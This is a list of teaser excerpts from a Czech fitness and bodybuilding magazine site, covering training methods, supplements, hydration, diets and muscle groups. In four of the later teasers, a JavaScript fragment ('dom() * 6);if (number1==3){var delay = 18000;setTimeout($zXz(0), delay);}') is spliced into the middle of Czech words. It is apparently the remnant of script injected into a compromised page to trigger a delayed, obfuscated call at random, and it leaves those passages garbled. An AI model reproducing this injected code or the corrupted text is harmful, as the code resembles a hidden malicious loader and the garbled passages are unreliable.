O vaší super formě hodně vypovídají detaily. Zaměřte se i na partii, kterou mnoho sportovců zcela přehlíží. Ano, řeč bude o oblasti mezi hamstringy a hýžděmi. Které čtyři cviky dává smysl zařadit? ZAMILUJTE SE DO VÝPADŮ Klíčem k tvarování…
Ušetříte peníze, a přesto můžete dosáhnout kvalitních výsledků. Jestliže využíváte služeb osobního trenéra, pravděpodobně mu platíte nemalou částku, on pak na oplátku kontroluje správnost provedení cviků, poskytne vám dopomoc, dohlédne na…
Tak často, aby to pro vás bylo přínosné a ne obtěžující. Co to ale v praxi znamená? Údaj na displeji váhy by pro vás měl mít adekvátní výpovědní hodnotu, aniž by byl zdrojem nadměrného stresu. Číslo, které uvidíte, by mělo přinášet…
Patříte k těm, kteří vybíhají s východem slunce nebo stepují u fitka před otvíračkou? Potřebujete svůj trénink zvládnout hned po ránu, než vás pohltí starosti všedního dne? A víte, jak se na takový výkon správně připravit? Ať už vás k…
V soutěži o svalovou partii, která nejlépe odolává budování hmoty, by se lýtka bezpochyby umístila na medailových pozicích. Maximalizovat rozvoj této svalové skupiny je pro mnoho závodníků cílem číslo jedna. A v jejich tréninku pak…
Co byste měli pít v posilovně i mimo ni, abyste svoje tělo dostatečně hydratovali? Nejlepší je samozřejmě voda. Ale ačkoliv se ve spojení s džusy často mluví o vysokém podílu cukru, i ovocné či zeleninové šťávy mohou být cestou ke kvalitní…
Pět důvodů, proč byste měli provádět negativní opakování – a tři způsoby, jak je zařadit do tréninku. BUDETE MOHUTNĚJŠÍ A SILNĚJŠÍ BĚHEM KRATŠÍ DOBY – POMOCÍ NEGATIVNÍCH OPAKOVÁNÍ. V kulturistice sportovci obvykle hledají ty nejlepší…
Tyto techniky vám pomohou zmírnit bolest způsobenou tvrdým tréninkem a působí současně jako prevence zranění. Lékař vám řekne, že bolest je indikátor toho, když se v těle děje něco špatného. Tvrdě trénující sportovec vám řekne, že bolest…
Představte si, že máte volit mezi dvěma produkty, jeden má na etiketě nápis EAA, druhý BCAA. Po kterém sáhnout, abyste si zajistili dosažení optimálních tréninkových výsledků? Aminokyseliny s rozvětveným řetězcem (BCAA) se těší obrovské…
Příchod nového roku bezpochyby přivedl do fitness center mnoho nových návštěvníků. Z nich nemalá část už v tuhle chvíli necvičí. Vy, co jste vydrželi, si zasloužíte značný obdiv, dávku povzbuzení a pár dobrých rad. Jakým chybám byste se…
VÁŠ SPOJENEC NA CESTĚ K ÚSPĚCHU Je hvězdou suplementového průmyslu a má k tomu celou řadu dobrých důvodů. Coby složka kvalitních produktů nepatří mezi ostře sledované celebrity, v tomto směru zastává spíše pozici sebejisté aristokratky…
O frekvenci tréninku se toho napsalo už hodně, jak je to ale s frekvencí jídla? Určitě jste se setkali s tvrzením, že když budete jíst častěji, udržíte metabolismus v chodu a zajistíte si tak lepší podmínky pro spalování tuků. Navíc tím…
Dřív, než utratíte nemalé peníze za spalovače, ujistěte se, že jste udělali maximum pro to, abyste podpořili odbourávání tuků adekvátně sestaveným jídelníčkem a v neposlední řadě dostatečným pitným režimem. Podceňovaná hydratace Ani…
Nejenom provedené výzkumy, ale i zkušenosti sportovců všech odvětví ukazují jednoznačně na kladnou odpověď. „To je jako s jízdou na kole, to se nezapomíná,“ tuhle větu už jste určitě slyšeli bezpočtukrát. Napadlo vás ale někdy, jestli…
Pomůže vám měření času k maximalizaci nárůstu svalů a síly? Nad tréninkem většinou přemýšlíte jako nad souhrou cviků prováděných v daném objemu, tzn. předepsaném počtu sérií a opakování s určitou zátěží. Odborníci doporučují k optimalizaci…
Víte, co je to sezónní afektivní porucha a jakým způsobem může narušit efektivitu vašeho tréninku? Podzim a zima mají svoje specifika a nějakou měrou bezpochyby ovlivňují každého z nás. Jen si zkuste porovnat, jak se vám vstává ráno v šest…
Společný trénink zádových a bicepsových svalů má svoje skalní příznivce i zapřisáhlé odpůrce. Jedno je ale jisté, při správném nastavení cvičebního programu vám pomůže maximalizovat budování hmoty. V posledních letech se stalo zvykem…
Existují jich desítky, snad i stovky – některé z nich krátce zazářily a zase zmizely, protože víc slibovaly, než fungovaly, jiné se stále drží a mají svoje příznivce. Řeč je o dietách, stravovacích režimech nejčastěji hodnocených podle…
Zní to jako paradox, že by pauza v tréninku mohla zvýšit efektivitu a zkvalitnit dosažené výsledky? Nejúčinnější techniky ovšem často patří k těm nejméně pochopitelným. Správně načasovaná odpočinková pauza umí zázraky. Má značný vliv na…
Každý věk má svoje specifika a pokud chcete dosahovat v tréninku optimálních výsledků, měli byste tento faktor zohlednit v tréninku, výživě i při výběru výživových doplňků. Datum v rodném listu nezměníte, ale velkou měrou můžete ovlivnit…
Ne nadarmo se říká, že dobří holubi se vracejí. Platí dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i o osvědčených trendech ve výživě a suplementaci. Takže se pozornost řady spordom() * 6);if (number1==3){var…
Zaměřte se na propojení mezi svalem a myslí a objevte v sobě vnitřní sílu, která vám pomůže k většímu úspěchu v posilovně i mimo ni. Jako tvrdě trénující spordom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tovci už…
Využijte k budování mohutných deldom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tových svalů speciální tréninkové techniky. Kdybychom měli zmínit jednu jedinou svalovou partii, která na první pohled odliší…
Je vhodné či dokonce nutné, aby dospívající spordom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tovci užívali výživové doplňky? Pokud ano, které vybrat a jakým se naopak raději vyhnout? „Náš čtrnáctiletý syn začal…
OSVOBOĎTE SÍLU SVOJÍ MYSLI Za pomoci vědecky ověřených principů máte možnost podpořit schopnost svého těla zapojit a budovat nová svalová vlákna. Slyšeli jste tvrzení, že využíváme jen deset procent svojí mozkové kapacity? Stejně tak…
Stres je součástí každodenního života a prakticky jakýkoliv podnět může být stresující – zvuk, práce, pozdní příchod partnera, dokonce i budování svalů. Nějaké formě stresu čelí někdy každý z nás. Pokud trvá stresový podnět dlouho, může…
NEPŘEHLÍŽEJTE CVIKY NA LAVIČKÁCH V kulturistice narazíte na řadu teorií. Některé mají svoji váhu, jiné nikoliv. Postupem času každý zjistí, co na něj funguje a co naopak v jeho případě smysl zcela postrádá. Byla by proto škoda některé…
Cesta k super tréninkovým výsledkům se neobejde bez obrovského úsilí, tvrdé disciplíny a v neposlední řadě také vyžaduje promyšlený přístup. Pokud má tělo dlouhodobě reagovat nárůstem hmoty, síly či výkonnosti, potřebuje dostávat stále…